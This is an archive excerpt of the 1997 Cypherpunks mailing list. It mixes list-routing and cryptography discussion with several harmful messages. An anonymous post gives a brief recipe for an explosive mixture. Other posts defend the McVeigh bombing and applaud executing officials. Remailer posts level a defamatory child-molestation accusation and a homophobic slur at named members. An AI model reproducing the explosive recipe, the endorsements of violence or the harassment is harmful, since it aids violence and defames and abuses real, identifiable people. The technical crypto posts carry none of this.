real company (which it surely is), "not just a Cypherpunks hobby."

This shows the disdain with which the Cypherpunks list is held by many
former members, who in fact had little or no interest in cryptography, and
why it is so important, prior to joining our list. Oh well, they got
educated, they formed companies, and now they are bemused that the
Cypherpunks list still exists.

To be fair to them, though, they are generally promoting the cause of
liberty and strong cryptography, and few if any former Cypherpunks are
actively supporting GAK or "key recovery" or other fascist policies.

As for the "success" of the other two list mentioned by Adam, fine, good
for them. Both are "moderated" or at least semi-moderated lists. I won't
post to either of them, not wanting either Perry Metzger or Futplex to have
control over my articles. (And, interestingly, neither of them seems to
post to Cypherpunks, so I suppose it all works out.)

The instability of the Cypherpunks address, with the obvious change from
toad.com to various other addresses (algebra.com, cyberpass.net, and even
ssz), obviously did not help.

Increasing list subscribership has never really been a priority to most of
us, anyway.

But, fact is, Adam is right that many former list members are now much more
interested in "moderated" discussions of "moderate" topics, all in
"moderation."

To each their own.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:49:39 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Camera Hacking
In-Reply-To: <v03007805af9d0a380fd6@[207.167.93.63]>
Message-ID: <199705122140.QAA05113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> 
> (I sent this article to cypherpunks@cyberpass.net, but am getting no
> traffic from that site, and some of my messages have bounced. I've
> subscribed to cypherpunks@algebra.com and will resubmit some of my recent
> articles to that address. It would be nice if the "interlinked lists"
> system could work to handle outages of sites, and not just mutual
> distributions of articles. Any ideas?)

The messages get distributed between cypherpunks sites by way of email.

Any email message is normally stored in queues for five days, if the
recipient site is down. So short outages of cyberpass, or algebra.com,
will not make any messages disappear and cyberpass subscribers will
eventually get them.

I must assure you that there will be time when algebra.com will have
to be brought down for a couple of days or so, for scheduled maintenance.

I will try to give ample warning and maybe transfer the whole list of 
subscribers to some other site.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:56:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <199705122148.QAA05204@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> I surmise that something is wrong. So I've subscribed to one of the
> alternates, cypherpunks@algebra.com.
> 
> Some thoughts:
> 
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

I think that it is rather desirable.

Also, I am curious if Raph Levien could adapt his remailer pinging system
to pinging the cypherpunks network, and produce his reports about the
speed and reliability of each site.

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

I've been thinking about the same problem in the last month, and I am not
sure how to solve this problem simply and reliably.

The advantage of the current network is that it was extremely simple to
propose and build.  It would be great if someone could propose something
as simple for the task that you are suggesting.

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

It is not hard, of course, but how should it be different from any other
node in the network? Any existing node is such a virtual subscription
address, and each of them is a potential point of failure for their 
respective subscribers.

The only true reliability can be achieved by subscribing to two or more
cypherpunks sites, and eliminating duplicates. Reliability has its costs.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 13 May 1997 06:10:37 +0800
To: cypherpunks@cyberpass.net
Subject: test1
Message-ID: <199705122158.QAA05442@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 13 May 1997 05:38:29 +0800
To: cypherpunks@toad.com
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <3.0.1.32.19970512171524.028df2c8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Inducement of Rapid Oxidation of Certain Materials in or Near Government
Buildings

At 04:07 AM 5/11/97 +0200, M. Froomkin wrote:
>[... ugly stuff about "soft targets"]
>
>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

Tim is neither a democrat nor a participant in a democracy.  Note that all
the parties involved in the current Balkans war are governments (or claim to
be). 

Most of the violence in interactions between people and governments is on the
government side.  The U.S. government and others have been committing mass
murder for years.  Supporters of those governments thus support mass murder
for "political ends."

Governments have murdered 170 million people since 1900.  My
back-of-the-envelope estimate is that the civilians of the world have only
murdered about 20 million people in the same period of time.  Quite a
disparity.

The U.S. government and its subsidiaries (for example) annually kill hundreds
of people in carrying out the "war" on the unlicensed retailing of
pharmaceuticals.  The U.S. was convicted of war crimes in the International
Court of Justice in the Hague in the late 80's for dropping air-sown mines in
one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
populations in wartime which causes a very great loss of innocent life.  Many
of the other governments of the world are worse.

The principle of estoppel would seem to logically preclude the world's
governments from arguing that their mass murders are OK but those committed
by amateurs (which kill many fewer people) aren't.

Again, and in general, some of the readers of this and other recent threads
on cypherpunks need some reading lessons (present company excepted).  Tim May
has not advocated blowing things up (though such advocacy remains legal).  He
has not advocated that cypherpunks blow things up.  He has not advocated that
Timothy McVeigh blow things up.  He has not even said that blowing things up
is a hip and happening way to raise the average IQ and moral level of the
surviving population.  

He has merely said that if OTHER PEOPLE blow certain things up he understands
their actions and that in the case of certain targets he would not shed a
tear.  He also predicted that people will be blowing things up in the future
(with which prediction, even the U.S. government agrees).

In any case, cypherpunks' orientation is towards the mathematics of
cryptography rather than towards chemical engineering.

DCF

"If the Red Queen blows things up it's a virtue.  If you blow thgings up it's
a vice." -- The Mad Hatter.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 08:46:02 +0800
To: Bill Stout <stoutb@pios.com>
Subject: Re: 64-bit CPU 10x faster in crypto?
In-Reply-To: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>
Message-ID: <3.0.1.32.19970512173423.00696768@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:32 AM 5/9/97 -0700, Bill Stout wrote:
>During a Digital seminar, a statement was made that 64-bit CPUs are about
>10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
>favorites of Crypto-affiliated Gov't agencies.  

They're certainly nice boxes :-)  But are they really more cost-effective
than piles of cheaper Pentium-Pro-200 boxes?

Crypto mainly falls into three kinds of calculations
- bignum modular exp/mult/factor - Alphas are great at this
- bit-twiddling for DES and friends - don't know if Alphas like this or not,
	but doing multiple operations per very fast clock cycle won't hurt
- byte- and word-oriented cryto, like RC4 and IDEA - 
	64-bit words may be no better than 32-bit for this,
	unless you can find ways to transform the problem
	and use it for parallelism.
	
>I spoke with a reference
>within Digital and the following logic was presented:
>  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
>greatly reducing processing time.
>  o The Alpha executes four instructions per clock cycle.
>  o Alpha clock ratings are 600MHz this summer.
>  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
>Linux, not NT). 

The _compiler_ needs to support 64-bit processing, 
but you're not likely to need 64-bit address spaces
or care too much how fast you can haul data from files into cache,
since you're mostly going to be bashing bignums in cache anyway.
If NT will let you run object code with 64-bit longs, you're ok.

>I'm concerned about the strength of personal/corporate crypto in face of
>large jumps in processing power.

Important topic, but Moore's Law will be with us for a couple more years,
so a factor of 10 in processing power is just 3-4 years speed increase.
That means you need about 3 bits more key for your symmetric cypher or
30 bits more for RSA or Diffie-Hellman public keys.  It's another nail in
RC4/40 and DES's coffins, and another motivation not to use 512-bit RSA,
but no problem for IDEA or RC4/128 or Triple-DES or 1024-bit RSA.

A more serious effect of big fast chips is that they can drive
better data collection machines - how much more pattern-searching 
and traffic analysis can altavista.nsa.mil and dejanews.nsa.mil do
with a multi-processor Alpha that they couldn't with their old DEC-20s?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 09:01:31 +0800
To: cypherpunks@toad.com
Subject: Re: PGP
Message-ID: <199705130047.RAA24073@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timmy C[retin] May's propensity to molest 
little children, is it any surprise that the 
state of California wants to have him castrated?

       ,,,
      (o-o)
  -ooO-(_)-Ooo- Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 13 May 1997 06:49:34 +0800
To: cypherpunks@toad.com
Subject: Re: whine politics again
Message-ID: <199705122206.SAA10901@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Monique Lamont wrote:
> on the subject of wine-importing restrictions in florida:
> tcmay wrote:
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
 
> it's illegal to ship wine to floridans now, so therefore it is okay
> to execute the responsible officials and blow up innocents.
> 
> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.
> alice0
> ---------------------------------------------------------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ---------------------------------------------------------

  aliceO wants the innocents to live so that she can spam them
to death from her account at hotmail.com.
  They're better off dying quick and painlessly...

SpamMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 13 May 1997 07:50:16 +0800
To: Chris DiBona <dibona@acm.org>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>
Message-ID: <199705122315.SAA25940@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>, on 05/12/97 at 12:45 PM,
   Chris DiBona <dibona@acm.org> said:


>I think that RSA should also realize that without PGP, their market would
>be much smaller, I think every time RSA licenses thier (now renewed)
>patents, they should think of Phil. I don't mean to saint the guy here or
>anything, but they owe him a debt that is difficult to quantify. By suing
>PGP they are basically saying , if I can extrapolate in a rather extreme
>manner, "privacy is okay, but only if we make money at it." 

I would extrapolate a little different:

"thanks Phil for putting us on the map, now bend over and grab your ankles"



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3ez3I9Co1n+aLhhAQFGJQP/X7hiUPZaiQaud10Jlbc/YqJ1IL+nABwR
PuHTKX5rGm08qA6bbvHbK9mJbdJp/7rddF9PGQYqRP11ql5FqSGqqZxXLfjspIsO
LKDCYNh3lFta/Z5J7HLgO/Ch4P1MjtlEGKUSqRS+oKVeXKfsJEI35Wf1aF4jAhzI
DOeBaMylmQo=
=azRs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 13 May 1997 07:52:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: cyberpass.net got a problem?
In-Reply-To: <199705122156.WAA02582@server.test.net>
Message-ID: <199705122334.SAA26201@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705122156.WAA02582@server.test.net>, on 05/12/97 at 03:56 PM,
   Adam Back <aba@dcs.ex.ac.uk> said:



>Hardly any traffic at all today.

>Is cyberpass.net ok?

>I sent a `who cypherpunks' to majordomo@cyberpass.net and got a response
>back instantly from sirius.infonex.com, so it's _there_.

>Most of the small amount of traffic that there is, seems to be from
>algebra.com and toad.com.

>I've just subscribed to algebra.com, in case I'm missing out on articles
>(my procmail will kill duplicates if any).

>How are people on algebra.com finding the traffic?  (2 articles dated 12th
>in total as of 21:40 GMT (+0)).

I have recieved only 2 messages from cyberpass today while I have received
27 from algebra no stats for toad as I am not subscribed to that list.

I am just finishing up my script to collect, log, & merge the two lists. I
hope to add in the news groups also to produce a daily cypherpunks digest.

I should have somthing up and running after I meet a production deadline
this weekend.

I could add some list analysis to my code producing a weekly and/or daily
report on the status of the various lists.

Let me know what kind of info you would like to see in the report and I
will see what I can come up with.

Also what would be a good size to split the daily digest at if it gets too
big?

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3e4PY9Co1n+aLhhAQHfnQP/QKuZsaVrE0wdr3u0HbuFgJ1HnA3RfnYo
qBHPZA7s4kcwEbF5UY5BzeyPTLENg3csjXXRtmXYGqRsKug7YhUgNiigjBhBNvGw
dPBYfVAWCNc1xCW0SXRWDyxAK8nYpDg6Q6N/CDivMAk6XtfZ9sdn0pl+cxLj5j24
1pMiR+ARGTU=
=B7Xf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 10:08:22 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <199705130145.SAA26803@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:14 5/11/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>I bet the NCSA folks are kicking themselves for missing the opportunity
>to have Jim Bell speak at InfoWarCon 96 :-)

Hey, there's always 1997!

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 07:55:44 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: cyberpass.net got a problem?
In-Reply-To: <199705122334.SAA26201@mailhub.amaranth.com>
Message-ID: <199705122349.SAA06579@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
> I am just finishing up my script to collect, log, & merge the two lists. I
> hope to add in the news groups also to produce a daily cypherpunks digest.
> I should have somthing up and running after I meet a production deadline
> this weekend.
> I could add some list analysis to my code producing a weekly and/or daily
> report on the status of the various lists.
> Let me know what kind of info you would like to see in the report and I
> will see what I can come up with.

1. # of articles from both sources
2. Message-IDs and header summaries of articles that appear in one list
   and not in another
3. Statistics on most frequent posters, by # of messages and # of kbytes
4. Estimated posting delay, per site (can be figured out from Received:
   fields).

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 13 May 1997 07:05:43 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: <Pine.GSO.3.95.970512185129.15144A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


This was mentioned by S. Forbes in a recent editorial in the mag, I
believe.

-Declan


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> http://www.sourcefile.com
> 
> Just how many "authorized personnel" are there, and who all is paying
> them to do what?
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 13 May 1997 08:13:48 +0800
To: tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970512163437.1077A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997, Tim May wrote:

> Some thoughts:
>
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

For simplicity, I suggest posting announcements to alt.cypherpunks.  I
would assume that most people on this list also read alt.cypherpunks.

>
> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

If each site keeps logs of all messages sent to the list for the last n
number of days, a simple Perl hack would allow the admin of the downed
site to compare logs with another site and send all the unsent messages
to the distribution list.

>
> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

How would this be different from any other list site?  I don't know for
certain, but it should be the case that each site is subscribed to at
least two other sites for redundancy.  A necessary consequence of not
subscribing to two or more lists is the fact there will be one single
distribution point which could go down at any time.

>
> I'll resubmit a few of my recent articles to cypherpunks@algebra.com.
>
> --Tim May
>
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
>
>



Mark
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=/A2i
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 13 May 1997 08:21:36 +0800
To: cypherpunks <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
Message-ID: <Pine.LNX.3.95.970512171358.1229A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Black Unicorn wrote:

> As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
> keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

That's only the best case (for the cryptanalyst).  Breaking 3DES with
only 2^112 encryptions requires 2^56 plaintext-ciphertext pairs.
Schneier says this is about 10^17 bytes.

> I dislike this line of argument for several reasons.  It reduces security
> to the lowest common denominator.  Because, the argument goes, few people
> will use more than a 21 character passphrase, then we need not design
> anything with more security.
>
> In reality, I think that the percentage of people who use more than an 8
> character passphrase, especially outside these circles, is small.
> Following your logic, our high end of security should be about 48 bits.

Very true.  I was not arguing that security should be reduces to the
lowest common denominator but that using excessively long key sizes does
little good.  Anything over 256 bits is, IMHO, overkill and 160 bits is
enough to make brute-force attacks infeasible.

> It costs little today to develop a cipher with larger keyspace.  (DES with
> independent subkeys already exists and has a basic keyspace of 768 bits.
> A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> the cipher briefly).  If users are willing to deal with large keys (I
> certainly am) then software designers are restraining a more secure
> implementation.

I'm very suspicious of any cipher with independant subkeys.  Apparently,
this makes chosen-key attacks *very* easy.  Chosen-key attacks aren't
very practical, but it doesn't give me a good feeling about the relative
security of the cipher.  Some combination, like triple-DES using variable
S-boxes would probably be a little more secure.


Mark
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L7jQbqF3iaJZRhHUyMP0tI+RlyIdtHTN0l7Qt+P/Jfb81uBm5sGPMh9vM3s9/Wav
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oX89+1Kh1AgHJ3Hj7mZKJGvlT3S3rSxL36CQUDAH9NNAPpazOPC3Vg==
=Kwd2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 13 May 1997 11:26:01 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970512200506.006d0f1c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


frissell@panix.com wrote:

>But Blanc,what if "It Takes A Village to Raise a Child" and the village is
trying to raise my child against my will.  In that case, the only way to
handle things is to destroy the village.  Not to save it,but to save my child.
>
>Think about it.
......................................................

Well, I thought about it, while the list was on vacation.   
You're right, Duncan.  Where should we start?

Truthfully, I don't think you've stockpiled any explosives to use for such
an act, and even if you had, I don't believe you would use them.   You'd
have to pay someone else to do the deed, and even so you'd probably start
reflecting on all those other people's itty bitty children who would have
to lose their lives in that total destruction, and chicken out.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 12:03:42 +0800
To: cypherpunks@toad.com
Subject: VideoWorld Justice
Message-ID: <199705130319.UAA03346@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From "Video Justice" TV show:
  "The video camera has evolved from passive observer to active
participant" (in the war on crime).

  Golly gee, government wants to use video cameras to monitor citizens
everywhere, all the time, and now we have a primetime TV show dedicated
to convincing the citizens that the surveillance camera is their best
friend. What a coincidence!

  With a dozen TV shows already championing law enforcement personnel
with neatly pressed uniforms saving the citizens from bad guys wearing
T-shirts, its refreshing to see fresh propaganda which informs us that
surveillance technology is our new best friend.
  It was so enlightening to hear criminologists and prosecutors praise
the emotional charge generated by seeing perpetrators "laugh" as they
"terrorized" people by shooting them with paintball guns resulting in
their receiving four years in prison instead of the one year that the
prosecutor expected.
  ( 4 perps x 4 years x $65,000/year = > $ 1,000,000.00 of taxpayer
money spent to incarcerate people who splatter someone with paint and
laugh about it. If Tim May owns a paintball gun, then I guess that he
can add to his list of potential felonies.)

  We also learn that surveillance cameras are "Invaluable weapons of 
enforcement in government stings" and that "The evidence they provide 
is incontestable."
  It sounds like we will no longer need judges and juries once the
citizens are fully monitored.
  We are told that John Law is protected from claims of entrapment
by the irrefutable evidence provided by their video taping of the
government sting. Naturally, we only see a selective two minute
tape of the entire operation. No video/sound recording of the setup
of the victim/criminal is shown.

  There was no video shown of police brutality (ala Rodney King) and
no questioning of why the technology is only geared toward showing
what goes on in front of the camera, leaving the citizen unprotected
once the officer takes him or her out its visual range.
  (Of course, any deviation from the "Sainthood of Authority" script
would result in the show's producers losing access to the cheap source
of their video propaganda.)

  Where is the legislation being put forth to require law enforcement
personnel under video surveillance to prevent them from engaging in
crimes against the citizens? Harassing them, beating them, becoming 
the source of crack flowing into their neighborhoods, spending hours
and days manipulating them into a two-minute video scene which is 
staged to provide "incontestable evidence" of their guilt.
  Video cameras are commonplace to watch the citizens in banks in
case someone tries to "steal" a few hundred or a few thousand
dollars. Where are the video cameras that watch the bankers in
order to provide evidence of their possible criminal actions?

  Video surveillance technology is the same old story. Provide a few
emotionally charged scenes to scare the citizens, offer them a form
of "protection" and then institute the technology in a one-way
vector which points only at those on the bottom of the food chain.
  Same technological shit, different day.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 12:21:50 +0800
To: cypherpunks@toad.com
Subject: ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
Message-ID: <3.0.1.32.19970512203150.0065c3e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Sender: Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From: "Abramson, Ron" <abramson@HUGHESHUBBARD.COM>
>Subject:      ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
>
>Cryptography Forum
>May 22, 1997 at 7:00 p.m.
>Association of the Bar of the City of New York
>22 West 44th Street, New York City
>
>Interested persons are invited to attend.  No fee or
>reservation is required.
>
>TITLE OF PROGRAM:
>Guns, Ammunition and Cryptography: Is the Government's
>Policy on Digital Encryption Creating a Crisis?
>
>A moderated panel will discuss issues raised by the
>Government's policy on cryptography.
>
>MODERATOR:
>Charles R. Nesson, Professor, Harvard Law School
>
>PANELISTS:
>Jim Bidzos
>President and CEO, RSA Data Security, Inc.
>
>Scott Charney
>Computer Crime Unit, Department of Justice
>
>Kenneth W. Dam
>Professor, University of Chicago Law School; Chair,
>National Research Council Committee to Study National
>Cryptography Policy
>
>Dorothy E. Denning
>Professor, Computer Science Department, Georgetown
>University
>
>David J. Farber
>Professor, Computer and Information Science and Electrical
>Engineering Departments, University of Pennsylvania
>
>Marc Rotenberg
>Director, Electronic Privacy Information Center
>
>Sponsored by the Committees on Computer Law, Civil Rights,
>Science and the Law, and Symposia, of the Association of
>the Bar of the City of New York
>
>For additional information, e-mail jzammit@fulbright.com or
>dcohen@bway.net
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 03:18:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
Message-ID: <199705121902.VAA20704@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 13 May 1997 09:25:53 +0800
To: cypherpunks@toad.com
Subject: Dr. Vulis
Message-ID: <199705130108.VAA28040@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
computer masturbating at his own imagined cleverness.
 
             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Dimi (Closet Homo) Vulis





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 22:37:40 +0800
To: Monique Lamont <alice0@hotmail.com>
Subject: Re: whine politics again
In-Reply-To: <199705111833.LAA28472@f33.hotmail.com>
Message-ID: <Pine.LNX.3.91.970512210606.266A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> on the subject of wine-importing restrictions in florida:
> 
> tcmay wrote:
> > Chiles and his co-conspirators should be shot for high crimes > against the
> > Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> > 
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
> 
> oh yaah.  you betcha.
> 
> it's illegal to ship wine to floridans now, so therefore it is okay 
> to execute the responsible officials and blow up innocents.

The blowing up of innocents is something no-one on this list would agree 
with were it not entirely necessary. Indeed I myself would have great 
problems in justifying the killing of even 1 innocent person by calling 
the fight for liberty "war".

Execution of the responsible officials would be no crime. I applaud the 
sentiments of those who support this viewpoint, and would respect the 
bravery and fortitude of anyone who carried out such an act, provided 
they recognised the necessary step of taking precautions against injuring 
innocent bystanders (tm).

> no doubt there are hundreds of cypherpunks out there nodding
> their heads in blithe agreement at this point.

Of course, but you have twisted this point to imply that Tim meant to say 
the killing of innocents was something to be "brushed aside" as a 
necessary step. Maybe Tim does feel that the loss of a few innocent lives 
in a war situation is justifiable, I have problems with this and have 
said so in previous posts, but I can see the logic behind it, this seems 
to me a very slippery and difficult question to answer, YMMV.

> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.

Common human decency, almost like common sense, the metaphysics of savages.

Your definition of common human decency must be fatally flawed if you 
believe the actions of the criminal bureacrats in the system do not 
justify the executions of these evil officials. It is merely an act of 
